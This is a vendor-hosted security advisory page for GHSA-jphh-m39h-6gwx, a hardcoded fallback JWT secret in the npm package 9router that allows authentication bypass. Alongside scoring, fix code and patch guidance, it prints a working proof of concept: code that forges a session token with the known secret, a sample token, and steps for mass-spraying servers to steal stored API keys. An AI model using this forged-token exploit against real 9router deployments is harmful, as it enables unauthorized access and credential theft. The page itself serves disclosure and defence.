GHSA-jphh-m39h-6gwx
CRITICALGHSA-jphh-m39h-6gwx is a critical-severity (CVSS 9.8) Hard-coded Credentials vulnerability in 9router. O3 Security confirms whether GHSA-jphh-m39h-6gwx is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
9router's Hardcoded Default fallback JWT Secret Allows Authentication Bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jphh-m39h-6gwx.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-jphh-m39h-6gwx plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 366,357 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
9routernpmDescription
Summary
9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server
Details
| Versions | File | Note |
|---|---|---|
>= 0.2.21, <= 0.4.30 | src/app/api/auth/login/route.js + src/middleware.js | Introduced in commit 23cfb19 |
>= 0.4.31, <= 0.4.41 | src/lib/auth/dashboardSession.js | Relocated by OIDC refactor c3d91b0, secret unchanged |
Vulnerable Code
v0.2.21 – v0.4.30 — src/app/api/auth/login/route.js and src/middleware.js:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
v0.4.31 – v0.4.41 (current) — src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.
PoC
Step 1. Craft a JWT signed with the known default secret:
import { SignJWT } from "jose";
const SECRET = new TextEncoder().encode("9router-default-secret-change-me");
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("36y")
.sign(SECRET);
console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w
Step 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass
Attack Scenario:
- Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
- Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database
Impact
- A successful attack grants attacker full API Key, Auth Token that 9router hold
- They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
- Pivot via the MCP stdio→SSE bridge exposed at
/api/mcp/(exploit CVE-2026-46339)
Recommended Fix
Require JWT_SECRET at startup and fail fast rather than falling back silently:
const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
throw new Error(
"JWT_SECRET environment variable is not set. " +
"Generate one with: openssl rand -hex 32"
);
}
const SECRET = new TextEncoder().encode(jwtSecret);
Alternatively, auto-generate a random secret on first boot and persist it to the data directory — but never fall back to a publicly known constant.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | 9router | ≥ 0.2.21&&< 0.4.45 | 0.4.45 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for 9router. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update 9router to 0.4.45 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jphh-m39h-6gwx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jphh-m39h-6gwx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jphh-m39h-6gwx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jphh-m39h-6gwx in your dependencies?
O3 detects GHSA-jphh-m39h-6gwx across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.